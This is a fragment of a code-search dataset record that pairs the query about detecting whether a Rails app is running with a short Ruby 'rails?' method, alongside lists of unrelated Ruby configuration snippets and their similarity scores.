"def configure(config)\n @index = config[\"index\"].to_i\n setup_logging(config[\"logging\"])\n\n @deployment_name = config[\"deployment_name\"] || \"untitled_dev\"\n\n tsdb_config = config[\"tsdb\"] || {}\n @tsdb_host = tsdb_config[\"host\"]\n @tsdb_port = tsdb_config[\"port\"]\n\n aws_config = config[\"aws_cloud_watch\"] || {}\n @aws_access_key_id = aws_config[\"access_key_id\"]\n @aws_secret_access_key = aws_config[\"secret_access_key\"]\n\n datadog_config = config[\"datadog\"] || {}\n @datadog_api_key = datadog_config[\"api_key\"]\n @datadog_application_key = datadog_config[\"application_key\"]\n @datadog_data_threshold = datadog_config.fetch(\"data_threshold\", 1000).to_i\n @datadog_time_threshold_in_seconds = datadog_config.fetch(\"time_threshold_in_seconds\", 10).to_i\n\n cf_metrics_config = config[\"cf_metrics\"] || {}\n @cf_metrics_api_host = cf_metrics_config[\"host\"]\n\n graphite_config = config[\"graphite\"] || {}\n @graphite_host = graphite_config[\"host\"]\n @graphite_port = graphite_config[\"port\"]\n\n @nats_uri = config[\"message_bus_uris\"]\n\n intervals = config[\"intervals\"]\n\n @discover_interval = intervals[\"discover\"] || 60\n @varz_interval = intervals[\"varz\"] || 10\n @healthz_interval = intervals[\"healthz\"] || 5\n @prune_interval = intervals[\"prune\"] || 300\n @nats_ping_interval = intervals[\"nats_ping\"] || 10\n @local_metrics_interval = intervals[\"local_metrics\"] || 10\n end",
"def _init_configuration\n\t\t# Set defaults\n\t\t@setup = { \"create\" => false, \"environment\" => false, \"test\" => true, \"destroy\" => false }\n\t\t@config = false\n\tend",
"def setup()\n @configuration = {}\n @configuration.merge!(defaults)\n @configuration\n end",
"def initialize\n set_config\n end",
"def configure\n end",
"def setup_config\n # To be Extended\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @port = config[\"port\"]\n @connection_pool = config[\"connection_pool\"]\n end",
"def initialize\n @configuration = Configuration.new\n end",
"def initialize\n @configurations = {}\n end",
"def configure; end",
"def configure\n load_configuration\n verify_configuration\n end",
"def configure\n # Users to block instead of interacting with\n self.blacklist = ['mcamargo1997']\n\n # Range in seconds to randomize delay when bot.delay is called\n self.delay_range = 1..6\n\n @userinfo = {}\n @botinfo = {\n ENV[\"BOT_NAME_1\"] => BotInfo.new(ENV[\"BOT_NAME_1\"]),\n ENV[\"BOT_NAME_2\"] => BotInfo.new(ENV[\"BOT_NAME_2\"])\n }\n end",
"def initialize\n configure_via_yaml\n configure_via_env\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @kairos_port = config[\"kairos_port\"]\n\n @rabbit_host = config[\"rabbit_host\"]\n @rabbit_user = config[\"rabbit_user\"]\n @rabbit_port = config[\"rabbit_port\"]\n @rabbit_pwd = config[\"rabbit_pwd\"]\n\n @connection_pool = config[\"connection_pool\"]\n\n @interval = config[\"interval\"]\n end",
"def config\n Thread.current[CONFIG_THREAD_KEY] ||= ChartMogul::Configuration.new\n end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def config; end",
"def setup\n yield(configuration)\n end",
"def initialize\n\n # Set some defaults\n self.auth_location = 'usa'\n self.use_service_net = 'false'\n self.retention_days = 7\n\n config_file = find_config_file\n raise \"Unable to find configuration file\" if config_file.nil?\n\n File.open(config_file, 'r') do |file|\n while (line = file.gets)\n key, value = line.strip.split('=', 2)\n send(:\"#{key}=\", value)\n end\n end\n\n end",
"def initialize\n config.base_uri = Config::BASE_URI\n config.user_agent = Config::USER_AGENT\n config.extend(Config)\n end",
"def initialize(options = {})\n application_configuration.merge!(options)\n configuration_options.each do |key|\n send(\"#{key}=\", application_configuration[key])\n end\n end",
"def setup\n FileUtils.cp(VALID_CONFIG_JSON_ORIG, CONFIG_JSON)\n @config = Thermoserver::Configuration.new\n @api_key = @config.api_key\n end",
"def initialize_configuration\n\n #Pulse the Program pin via JTAG.\n self.instruction = :jprogram\n\n #Put the device into configuration mode, and give it 14,000 cycles to start up.\n self.instruction = :cfg_in\n run_test(ConfigurationStartup)\n\n end",
"def initialize\n @conf = Hash.new\n @conf[:verbose] = 0\n @conf[:banner] = \"Usage: #{File.basename($0)} [options]\"\n @conf[:config_name] = Meta::NAME + '.yaml'\n @conf[:config_env] = Meta::NAME.upcase + '_CONF'\n @conf[:config_dirs] = DIR_CONFIG\n end",
"def configure\n self.configuration ||= Configuration.new\n\n yield(configuration) if block_given?\n \n configuration.validate!\n\n setup if configuration.enabled?\n end",
"def config\n\n end",
"def configure(config)\n VCAP::Logging.setup_from_config(config[\"logging\"])\n @logger = VCAP::Logging.logger(\"collector\")\n\t @mysql_host=config['mysql']['host']\n\t @mysql_username=config['mysql']['username']\n\t @mysql_password=config['mysql']['password']\n\t @mysql_db_name=config['mysql']['db_name']\n\t @mysql_port=config['mysql']['port'] || 3306\n @noah_info=config['noah']\n @cluster_exclude=config['cluster_exclude']\n end",
"def configure(options={})\n Configuration.configure(options)\n end",
"def configure!(options={})\n self.local_config = options\n end",
"def initialize()\n @config = YAML.load_file('config.yaml')\n @puppetdb = @config['puppetdb']\n @servicenow = @config['servicenoe']\n @syslog = @config['syslog']\n end",
"def initialize(conf = {})\n super(conf) ;\n setup() ;\n end",
"def configuration\n $_temescal_configuration ||= Configuration.new\n end",
"def configure\n load_all_configs \n end",
"def configure!\n conf = YAML::load_file(@config)\n conf.merge!({\n \"initial_token\" => 0,\n \"partitioner\" => \"org.apache.cassandra.dht.RandomPartitioner\",\n # have to force ascii or YAML will come out as binary\n \"data_file_directories\" => [@data.encode(\"us-ascii\")],\n \"commitlog_directory\" => @commit.encode(\"us-ascii\"),\n \"saved_caches_directory\" => @caches.encode(\"us-ascii\"),\n \"storage_port\" => @storage_port.to_i,\n \"ssl_storage_port\" => @ssl_storage_port.to_i,\n \"listen_address\" => @host.encode(\"us-ascii\"),\n \"rpc_address\" => @host.encode(\"us-ascii\"),\n \"rpc_port\" => @rpc_port.to_i,\n # DSE doesn't work OOTB as a single node unless you switch to simplesnitch\n \"endpoint_snitch\" => \"org.apache.cassandra.locator.SimpleSnitch\",\n })\n File.open(@config, \"w\") { |file| file.puts YAML::dump(conf) }\n\n # relocate the JMX port to avoid conflicts with running instances\n env = File.read(@envfile)\n env.sub!(/JMX_PORT=['\"]?\\d+['\"]?/, \"JMX_PORT=\\\"#{@jmx_port}\\\"\")\n File.open(@envfile, \"w\") { |file| file.puts env }\n\n # relocate the system.log\n log = File.read(@log4j)\n log.sub!(/log4j.appender.R.File=.*$/, \"log4j.appender.R.File=#{@logfile}\")\n File.open(@log4j, \"w\") do |file| file.puts log end\n end",
"def configure(conf)\n super\n # Read configuration for tag_infos and create a hash\n @tag_infos = Hash.new\n conf.elements.select { |element| element.name == 'tag_infos' }.each { |element|\n element.each_pair { |info_name, position_in_tag|\n element.has_key?(info_name) # to suppress unread configuration warning\n @tag_infos[info_name] = position_in_tag.to_i\n $log.info \"Added tag_infos: #{info_name}=>#{@tag_infos[info_name]}\"\n }\n }\n\n # configure for highwatermark\n @highwatermark_parameters={\n \"state_tag\" => @state_tag, \n \"state_type\" => @state_type,\n \"state_file\" => @state_file,\n \"redis_host\" => @redis_host,\n \"redis_port\" => @redis_port \n }\n $log.info \"highwatermark_parameters: #{@highwatermark_parameters}\"\n\n end",
"def init_config\n unless instance_variable_defined? :@hatt_configuration\n @hatt_configuration = TCFG::Base.new\n\n # build up some default configuration\n @hatt_configuration.tcfg_set 'hatt_services', {}\n @hatt_configuration.tcfg_set 'hatt_globs', DEFAULT_HATT_GLOBS\n\n @hatt_configuration.tcfg_set_env_var_prefix 'HATT_'\n end\n\n if hatt_config_file_path\n # if a config file was specified, we assume it exists\n @hatt_configuration.tcfg_config_file hatt_config_file_path\n else\n Log.warn 'No configuration file specified or found. Make a hatt.yml file and point hatt at it.'\n end\n @hatt_configuration.tcfg_set 'hatt_config_file', hatt_config_file_path\n\n normalize_services_config @hatt_configuration\n\n nil\n end",
"def initialize(*args)\n initialize_config unless instance_variable_defined?(:@config)\n super\n end",
"def setup\n @configure = Hatemile::Util::Configure.new\n end",
"def default_configuration!\n # Overwriting Sinatra defaults\n set :app_file, caller_files.first || $0 # Assume app file is first caller\n set :environment, Padrino.env\n set :raise_errors, true if development?\n set :logging, false # !test?\n set :sessions, true\n set :public, Proc.new { Padrino.root('public', self.uri_root) }\n # Padrino specific\n set :uri_root, \"/\"\n set :reload, development?\n set :app_name, self.to_s.underscore.to_sym\n set :default_builder, 'StandardFormBuilder'\n set :flash, defined?(Rack::Flash)\n set :authentication, false\n # Padrino locale\n set :locale_path, Proc.new { Dir[File.join(self.root, \"/locale/**/*.{rb,yml}\")] }\n set :auto_locale, false\n # Plugin specific\n set :padrino_mailer, defined?(Padrino::Mailer)\n set :padrino_helpers, defined?(Padrino::Helpers)\n end",
"def initialize\n yield self\n Config.apply(self)\n end",
"def config=(config); end",
"def configuration\n @configuration ||= {\n # Use the memory adapter to preference speed over scalability\n adapter: :memory\n }\n end",
"def initialize(...)\n super()\n configure(...)\n end",
"def configure!\n raise(AlreadyConfiguredError, @configured_by) if already_configured?\n\n debug! if config.debug?\n\n configurators.each do |(group, block)|\n group group\n class_eval(&block)\n group nil\n end\n\n # Register metrics in adapters after evaluating all configuration blocks\n # to ensure that all global settings (like default tags) will be applied.\n adapters.each_value do |adapter|\n metrics.each_value do |metric|\n adapter.register!(metric)\n end\n end\n\n @configured_by = caller_locations(1, 1)[0].to_s\n end",
"def initialize()\r\n buildProperties = parse([BUILD_PROPERTIES, LOCAL_PROPERTIES]);\r\n testProperties = parse([TEST_PROPERTIES, LOCAL_PROPERTIES]);\r\n @app_host = testProperties[\"config_appHost\"]\r\n @module_html = buildProperties[\"config_appStartupUrl\"]\r\n @base_url = self.app_host + \"/\" + self.module_html\r\n @admin_user = testProperties[\"config_credentialsAdmin\"]\r\n @normal_user = testProperties[\"config_credentialsUser\"]\r\n @browser = testProperties[\"config_capybaraSeleniumBrowser\"]\r\n @browserPath = testProperties[\"config_capybaraSeleniumBrowserPath\"]\r\n @defaultAjaxWaitTime = testProperties[\"config_defaultAjaxWaitTime\"]\r\n end",
"def configure(config)\n @index = config[\"index\"].to_i\n VCAP::Logging.setup_from_config(config[\"logging\"])\n @logger = VCAP::Logging.logger(\"collector\")\n @tsdb_host = config[\"tsdb\"][\"host\"]\n @tsdb_port = config[\"tsdb\"][\"port\"]\n\t @mysql_host=config['mysql']['host']\n\t @mysql_username=config['mysql']['username']\n\t @mysql_password=config['mysql']['password']\n\t @mysql_db_name=config['mysql']['db_name']\n\t @mysql_port=config['mysql']['port'] || 3306\n @noah_parentPath=config['noah_parentPath']\n @noah_authKey=config['noah_authKey']\n intervals = config[\"intervals\"]\n @varz_interval = intervals[\"varz\"] || 10\n @timeout_check = config[\"timeout_check\"] || 2\n end",
"def configure\n self.configuration ||= AllscriptsApi::Configuration.new\n yield(configuration)\n end",
"def declare_configuration_options\n ws.config.declare \"daemon_polling_period\", \"string\",\n default: \"60\",\n doc: \"Enter the github polling period\"\n\n ws.config.declare \"daemon_buildbot_host\", \"string\",\n default: \"localhost\",\n doc: \"Enter builbot host/ip\"\n\n ws.config.declare \"daemon_buildbot_port\", \"string\",\n default: \"8010\",\n doc: \"Enter buildbot http port\"\n\n ws.config.declare \"daemon_project\", \"string\",\n default: File.basename(ws.root_dir),\n doc: \"Enter the project name\"\n\n ws.config.declare \"daemon_max_age\", \"string\",\n default: \"120\",\n doc: \"Enter events and pull requests max age\"\n end",
"def configure(opts)\n #This is a stub, used for indexing\n end",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"def configure opts\n configuration.merge!(opts)\n end",
"def metric_config\n # This is bad... but I just want things to work!!!!!\n @mount_dir = ::ArchiveRoot\n\tdefault = Defaults.new\n\tdefault.metric_taxonomy= 'hsa'\n\tdefault.metric_instrument_type = 'ORBI'\n\tdefault\n end",
"def initialize\n setup_ohai\n configure\n end",
"def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"def configure\n self.configuration = Configuration.new\n yield(configuration)\n end",
"def initialize\n super\n configure_logging\n detect_platform()\n detect_resolver()\n load_config()\n end",
"def load_config()\n self.config = Kitchenplan::Config.new().config\n end",
"def initialize\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n end",
"def initialize(config={})\n @configuration = config\n end",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n end",
"def initialize(*args)\n @options = Hash.new\n @config = Hash.new\n \n # Set the banner\n @banner = self.class.banner\n \n # Dupe the class options for this instance\n klass_options = self.class.options\n klass_options.keys.inject(@options) { |memo, key| memo[key] = klass_options[key].dup; memo }\n \n # Set the default configuration values for this instance\n @options.each do |config_key, config_opts|\n config_opts[:on] ||= :on\n config_opts[:boolean] ||= false\n config_opts[:required] ||= false\n config_opts[:proc] ||= nil\n config_opts[:show_options] ||= false\n config_opts[:exit] ||= nil\n \n if config_opts.has_key?(:default)\n @config[config_key] = config_opts[:default]\n end\n end\n \n super(*args)\n end",
"def config_for(options)\n AppConfig.reset!\n AppConfig.setup!(options)\n end",
"def config\n machined.config\n end",
"def setup_config(environment, config_file, applicaton_root)\n begin\n config = YAML::load(File.open(config_file))[environment]\n @api_key = config['api-key'] unless config['api-key'].nil?\n @ssl_enabled = config['ssl'] unless config['ssl'].nil?\n @log_level = config['log-level'] unless config['log-level'].nil?\n @enabled = config['enabled'] unless config['enabled'].nil?\n @remote_port = config['remote-port'].to_i unless config['remote-port'].nil?\n @remote_host = config['remote-host'] unless config['remote-host'].nil?\n @adapter_name = config['adapter'] unless config['adapter'].nil?\n @work_dir = config['work_dir'] unless config['work_dir'].nil?\n @send_user_data = config['send-user-data'] unless config['send-user-data'].nil?\n\n @applicaton_root = applicaton_root\n\n log_config_info\n rescue Exception => e\n raise ConfigurationException.new(\"Unable to load configuration #{config_file} for environment #{environment} : #{e.message}\")\n end\n end",
"def configure\n\n # Give the bot a handle to config and handler\n conf = @config\n\n # Configure the bot\n @bot = Isaac::Bot.new\n @bot.configure{|c|\n c.server = conf[:server]\n c.port = conf[:port]\n c.ssl = conf[:ssl]\n c.nick = conf[:nick]\n c.password = conf[:password]\n c.realname = conf[:name]\n\n c.environment = :production\n c.verbose = conf[:verbose] || false \n c.log = $log\n }\n\n end",
"def configuration\n cfg = {:default_policy => @default_policy.to_s, :disabled_prompt => @disabled_prompt, :delimiter => @delimiter, :ip => @ip,\n :log_accounting => @log_accounting, :log_authentication => @log_authentication, :log_authorization => @log_authorization,\n :log_level => @logger_level, :login_prompt => @login_prompt, :max_clients => @max_clients, :password_expired_prompt => @password_expired_prompt,\n :password_prompt => @password_prompt, :port => @port, :sock_timeout => @sock_timeout, :testing => @testing }\n cfg[:dump_file] = @dump_file if (@dump_file)\n cfg[:key] = @key if (@key)\n cfg[:logger] = @logger if (@logger)\n cfg[:name] = @name if (@name)\n return(cfg)\n end",
"def configure\n\t\t\tyield configuration\n\t\tend",
"def configuration\n $_temescal_configuration\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end"
] |
[
"0.6814277",
"0.6814277",
"0.6814277",
"0.6814277",
"0.6814277",
"0.6810317",
"0.67820996",
"0.66698545",
"0.66591436",
"0.66561973",
"0.6641759",
"0.66300243",
"0.6613372",
"0.6610705",
"0.658921",
"0.65475",
"0.6511322",
"0.6498015",
"0.64404005",
"0.64319396",
"0.642149",
"0.6398733",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.639605",
"0.63815767",
"0.63699293",
"0.6352228",
"0.63264084",
"0.63238955",
"0.63158995",
"0.6308245",
"0.6301995",
"0.62900066",
"0.6288785",
"0.62709516",
"0.62639505",
"0.62575704",
"0.6248898",
"0.62359905",
"0.6233961",
"0.6232857",
"0.62235373",
"0.6219535",
"0.6185048",
"0.6182424",
"0.61747354",
"0.6170164",
"0.61695427",
"0.61677366",
"0.61632395",
"0.61572576",
"0.61565113",
"0.6151399",
"0.6149099",
"0.61365736",
"0.61359936",
"0.61358005",
"0.613343",
"0.6128315",
"0.6127873",
"0.6122474",
"0.6119904",
"0.61140037",
"0.61135423",
"0.6110647",
"0.6108831",
"0.61074793",
"0.6103999",
"0.6103999",
"0.60911936",
"0.6087169",
"0.6083038",
"0.6075772",
"0.60737824",
"0.6061337",
"0.60599744",
"0.6053623",
"0.60462856",
"0.60462856",
"0.60462856",
"0.60462856",
"0.60462856",
"0.60462856",
"0.60462856",
"0.60462856"
] |
0.0
|
-1
|
Perform a simple check to try and guess if we're running against a rails app.
|
def rails?
@rails = File.exist?("config/environment.rb")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verify_rails!\n unless rails?\n abort unless agree \"`#{dest}' does not appear to be a rails app; continue? \"\n end\n end",
"def rails_app?\n File.exist?(\"bin/rails\")\n end",
"def rails?\n defined?(::Rails) && ::Rails.application.present? # &.initialized?\n end",
"def in_rails?\n !Object.const_get(:Rails).nil?\n end",
"def rails?(*args)\n version=args.first\n v2 = ($0 == 'irb' && ENV['RAILS_ENV'])\n v3 = ($0 == 'script/rails' && Rails.env)\n version == 2 ? v2 : version == 3 ? v3 : v2 || v3\nend",
"def rails?(*args)\n version=args.first\n v2 = ($0 == 'irb' && ENV['RAILS_ENV']) \n v3 = ($0 == 'script/rails' && Rails.env) \n version == 2 ? v2 : version == 3 ? v3 : v2 || v3\nend",
"def app?\n app_host = Radiant.config['app.host']\n match = unless app_host.blank?\n request.host == app_host\n else\n request.host =~ /^app\\./\n end\n !!match\n end",
"def rails?\n !!@options[:rails]\n end",
"def env_already_loaded?\n defined? Rails\n end",
"def no_rails_route?\n return true if !%w[development test].include?(Rails.env)\n\n !@params[\"urlname\"].start_with?(\"rails/\")\n end",
"def rails?\n @rails\n end",
"def rails_environment?(env)\n rails_environment.to_s == env.to_s\n end",
"def app_available?(app)\n `which #{app}`.strip == \"\" ? false : true\n end",
"def valid_app?(app)\n !!(app =~ APP_REGEX)\n end",
"def guess_app\n app = if ::File.exists?(::File.join(::File.dirname(@options[:wdir]), \"config/environment.rb\"))\n require 'config/environment'\n Rack::Builder.new do\n use Rails::Rack::Static\n run ActionController::Dispatcher.new\n end\n else\n raise Exception, \"No rackup file nore rails environement file found. Please supply one of them\"\n end\n end",
"def dummy?\n defined?(::Piktur::Spec::Application) &&\n ::Rails.application.is_a?(::Piktur::Spec::Application)\n end",
"def app_name_configured?\n names = Agent.config[:app_name]\n return names.respond_to?(:any?) && names.any?\n end",
"def is_app_instance?\n if @service_type == 'http' && @path_name == '/' && @balancer_configuration == 'app'\n return true\n end\n\n false\n end",
"def autodetect_environment\n rails_env = if defined?(::Rails) && ::Rails.respond_to?(:env)\n ::Rails.env.to_s\n elsif defined?(::RAILS_ENV)\n ::RAILS_ENV.to_s\n end\n \n LIVE_RAILS_ENVIRONMENTS.include?(rails_env) ? 'live' : 'test'\n end",
"def sunspot?\n begin\n Sunspot and Sunspot.const_defined?(:Rails)\n rescue\n false\n end\n end",
"def is_watchkit_app?(app_path)\n plist_path = \"#{app_path}/Info.plist\"\n `/usr/libexec/PlistBuddy -c 'Print :DTSDKName' #{plist_path.shellescape} 2>&1`.match(/^\\s*watchos2\\.\\d+\\s*$/) != nil\n end",
"def find_application\n unless self.app_name.blank?\n self.app = App.active.by_short_or_long_name(self.app_name).try(:first)\n self.application_lookup_failed = self.app.blank?\n end\n # be sure the call back returns true or else the call will fail with no error message\n return true\n end",
"def rails_version\n return 3 if File.exists?(File.join(fetch(:rails_root), 'script', 'rails'))\n return 2 if File.exists?(File.join(fetch(:rails_root), 'script', 'server'))\n nil\nend",
"def rails_development?\n defined?(::Spring)\n end",
"def app_env?(env_name)\n APP_ENV.casecmp(env_name.to_s).zero?\nend",
"def rails_error\n if(!@@is_rails_dir)\n puts \"ERROR: #{Dir.pwd} does not appear to be a rails application directory\"\n exit(1)\n end\n end",
"def check_application_id\n return if application_id\n @logger.display('application_id_missing')\n exit 1\n end",
"def test? ; @app.options[:env] == :test ; end",
"def app_configured?; end",
"def rails_env_matches?(config)\n config['rails_env'] &&\n ENV['RAILS_ENV'] &&\n config['rails_env'].gsub(/\\s/, '').split(',').include?(ENV['RAILS_ENV'])\n end",
"def running?\n return RUN_MODE if RUN_MODE.present?\n Rails.env.production?\n end",
"def passenger_rack_app?\n workdir.directory? &&\n workdir.join(\"config.ru\").file? &&\n workdir.join(\"tmp\").directory? &&\n workdir.join(\"public\").directory?\n end",
"def development? ; @app.options[:env] == :development ; end",
"def loadable?\n %w(test development).include?(Rails.env) || !loaded?\n end",
"def check_apps\n flag = false\n ps_out = []\n\tif !Has_Sys_ProcTable\n\t\tIO.popen(PS_command).each do |line|\n\t\t\tps_out.push line\n\t\tend\n\telse\n\t\tProcTable.ps do |ps|\n\t\t\tps_out.push ps\n\t\tend\n\tend\n\n begin\n\t\tFile.open(Conf,'r').each do |filename|\n\t\t filename.chomp!\n\t\n\t\t\t# Skip this app if we were provided with a filepath argument, and this\n\t\t\t# app doesn't match it.\n\t\n\t next if (ARGV[1].to_s != '' and ARGV[1].to_s != filename)\n\t\t\tif Has_Sys_ProcTable\n\t\t\t\tps_out.each do |ps|\n\t\t\t\t\tflag = true if (ps.cmdline =~ /ruby\\s+#{filename}/)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tps_out.each do |line|\n\t\t\t\t\tflag = true if (line =~ /ruby\\s+#{filename}/)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n rescue Exception\n raise $!\n end\n\n if (flag)\n raise \"Iowa application(s) are already running; can not start application(s).\"\n end\nend",
"def boot_rails\n log \"* Booting rails app\"\n begin\n return config.app\n rescue Exception => e\n error [\"Unable to load rails app!\", e, e.backtrace].flatten.join(\"\\n\")\n exit 1\n end\n end",
"def run?\n @run ||= true\n @run and !@running and app_file? and $0.expand_path == app_file.expand_path\n end",
"def if_app(app, req)\n app == :dashboard ? (req + '.http.host ~ \"(dashboard|studio)\"') : nil\nend",
"def auto_instrument?\n !Contrib::Rails::Utils.railtie_supported?\n end",
"def auto_instrument?\n !Contrib::Rails::Utils.railtie_supported?\n end",
"def has_current_application?\n not self.current_application.nil?\n end",
"def app_installed?(app_id)\n @bridge.app_installed?(app_id)\n end",
"def app_installed?(app_id)\n @bridge.app_installed?(app_id)\n end",
"def rails_root?\n !@rails_root.blank? && @rails_root.directory?\n end",
"def app_is_installed?\n if installed_app_bundle_dir ||\n simctl.app_container(device, app.bundle_identifier)\n true\n else\n false\n end\n end",
"def app_starting?\n @launching\n end",
"def production? ; @app.options[:env] == :production ; end",
"def application?\n gem_dir\n end",
"def application?\n gem_dir\n end",
"def ensure_app_exists!\n return if app\n UI.user_error!(\"Could not find app with App Identifier '#{Precheck.config[:app_identifier]}'\")\n end",
"def application?\n (filtered_file =~ /^\\[PROJECT_ROOT\\]/i) && !(filtered_file =~ /^\\[PROJECT_ROOT\\]\\/vendor/i)\n end",
"def routable_request?(env)\n return true unless defined?(Rails) # If not running on a Rails app, we can't verify if it is invalid\n Rails.application.routes.recognize_path(env['PATH_INFO'])\n true\n rescue ActionController::RoutingError\n false\n end",
"def has_app_action\n validate :uuid, /^[a-zA-Z0-9]+$/\n validate :application, /^[a-zA-Z0-9]+$/\n uuid = request[:uuid]\n app_name = request[:application]\n if File.exist?(\"/var/lib/openshift/#{uuid}/#{app_name}\")\n reply[:output] = true\n else\n reply[:output] = false\n end\n reply[:exitcode] = 0\n end",
"def rails?\n File.directory? dest + '/vendor'\n end",
"def run_app_not_exist?(host_path)\n\t\t\tif v.app_not_exist?(host_path)\n\t\t\t\t$stdout.puts Rainbow(\"Success: No pre-existig app at '#{host_path}'\").green\n\t\t\telse\n\t\t\t\texit 1\n\t\t\tend\n\t\tend",
"def sexy_app_name\n # puts \"gml_application=#{gml_application.inspect} application=#{application.inspect}\"\n (!application.blank? && application) || (!gml_application.blank? && gml_application) || ''\n end",
"def standalone?\n not $SLICED_APP\n end",
"def standalone?\n not $SLICED_APP\n end",
"def check_system_python\n @candidate_pythons = lookup_local_pythons\n return 0 != @candidate_pythons.length\n end",
"def instruments_app_running?\n ps_output = `ps x -o pid,comm | grep Instruments.app | grep -v grep`.strip\n if ps_output[/Instruments\\.app/, 0]\n true\n else\n false\n end\n end",
"def is?(application)\n JavaBuildpack::Util::JavaMainUtils.manifest(application).key?(SPRING_BOOT_VERSION) ||\n @jar_finder.is?(application)\n end",
"def supports?\n web_inf? && !JavaBuildpack::Util::JavaMainUtils.main_class(@application)\n end",
"def is_appurify?\n ENV['APPURIFY_EXECUTION'] == 'true'\n end",
"def ensure_new_app\n if File.exists?(File.join(Rails.root, 'config/innsights.yml')) && !Innsights.test_mode\n puts warning && exit\n end\n end",
"def same_sha1_as_installed?\n app.sha1 == installed_app_sha1\n end",
"def supported_by_rails?\n ::Rails::VERSION::MAJOR.to_i < 4\n end",
"def test_system?\n rack_env?(:test) && pegasus_hostname == \"test.#{site_domain}\"\n end",
"def production_environment?(url = nil)\n url ||= self.url\n !!url.match(/(macys|bloomingdales)\\.com/)\n end",
"def ios_app?\n ios? && !ua.include?(\"Safari\")\n end",
"def python?\n exist? 'requirements.txt'\n end",
"def first_run?\n ::File.exist?(node['tomcat']['validation_script'])\n end",
"def base_application\n base_application_class.present? ? base_application_class.constantize : ::Rails.application\n end",
"def integration_test?\n Rails.env.test? && defined?(Cucumber::Rails)\n end",
"def ensure_application\n redirect_to root_url, alert: \"Application not found\" unless current_application\n end",
"def bootstrapped?\n raise \"Invalid Bootstrapper\"\n end",
"def rakeAppAndRvm\n\t\t\t(rakeApp? && rvm?)\n\t\tend",
"def app_not_exist?(host_path)\n\t\t\thost_path.downcase\n\t\t\tif Dir.exists?(host_path)\n\t\t\t\tDeployLog.stderr_log.fatal {\"The app #{host_path} already exists\"}\n\t\t\t\tSTDERR.puts Rainbow(\"ERROR: The app #{host_path} already exists\").red\n\t\t\t\treturn false\n\t\t\telse\n\t\t\t\ttrue \n\t\t\tend\n\t\tend",
"def local?\n test_framework?\n end",
"def host_is_app_host?(hostname)\n hostname == \"adapt.127.0.0.1.xip.io\"\n end",
"def dev_env?\n env == 'development'\n end",
"def check_whether_requested_from_android_webview\n\t\tuser_agent = request.user_agent\n\t\tif(user_agent.include?(\"CLASSTALK_ANDROID_APP\"))\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def is_for_test_rail_run\n !ENV[\"TESTRAIL_RUN_ID\"].nil? && ENV[\"TESTRAIL_RUN\"].nil? && ENV[\"TESTRAIL_PLAN_ID\"].nil?\n end",
"def app_name\n Rails.application.class.to_s.split(\"::\").first\n end",
"def app_name\n if CurrentUser.safe_mode?\n \"Safebooru\"\n else\n \"Danbooru\"\n end\n end",
"def running_protected_environment?\n protected_environments.collect(&:to_sym).include?(Rails.env.to_sym)\n end",
"def middleware?(obj)\n obj.respond_to?(:run_suite) && obj.method(:run_suite).arity == 1 &&\n obj.respond_to?(:run_test) && obj.method(:run_test).arity == 1 &&\n obj.respond_to?(:app) && !obj.app.nil?\n end",
"def detected_app_type\n @detected_app_type\n end",
"def verify_environment\n # Use Rack environment if available\n if ENV['RACK_ENV'] && !ENV['ENV']\n ENV['ENV'] = ENV['RACK_ENV']\n # Use Rails environment if available\n elsif ENV['RAILS_ENV'] && !ENV['ENV']\n ENV['ENV'] = ENV['RAILS_ENV']\n end\n\n # Otherwise, use the more general environment setting\n unless ENV['ENV']\n warn 'ENV - environment variable must be defined, defaulting ' +\n 'to development'\n ENV['ENV'] = 'development'\n end\nend",
"def onHeroku?()\n\treturn ENV.any? {|x,_| x =~ /^HEROKU/ }\nend",
"def access?(application)\n applications.include?(application)\n end",
"def application\n !@modes.keys.empty? && @modes.has_key?(@settings[:mode]) ? @modes[@settings[:mode]][:app] : \"unknown\"\n end",
"def dev?\n Rails.env == 'development'\n end",
"def dev_or_test?\n development? || test?\n end",
"def backup_minister_installed?\n software_installed?(APP_NAME)\n end",
"def if_rails_loads(task_description, &block)\n error = nil\n\n begin\n Rake::Task['environment'].invoke\n rescue Exception => e\n error = e.message\n end\n\n if error\n puts \"Skipping #{task_description} because: #{error}\"\n else\n puts \"Running #{task_description}\"\n block.call\n end\n end",
"def rails_app\n # TODO: Return a `String` with the right command to create a new rails app called `watch-list`.\nend",
"def auto_instrument?\n !Datadog::Contrib::Rails::Utils.railtie_supported?\n end",
"def app_type\n @app_type || @detected_app_type\n end",
"def program_name?\n \"runs\"\n end",
"def test_framework?\n NewRelic::Agent.config[:framework] == :test\n end"
] |
[
"0.79072785",
"0.77253366",
"0.7336583",
"0.72391236",
"0.71667975",
"0.7110516",
"0.6984167",
"0.6897968",
"0.68844837",
"0.6883021",
"0.68053484",
"0.67850703",
"0.6667793",
"0.65767765",
"0.6556767",
"0.64240474",
"0.6391418",
"0.6374815",
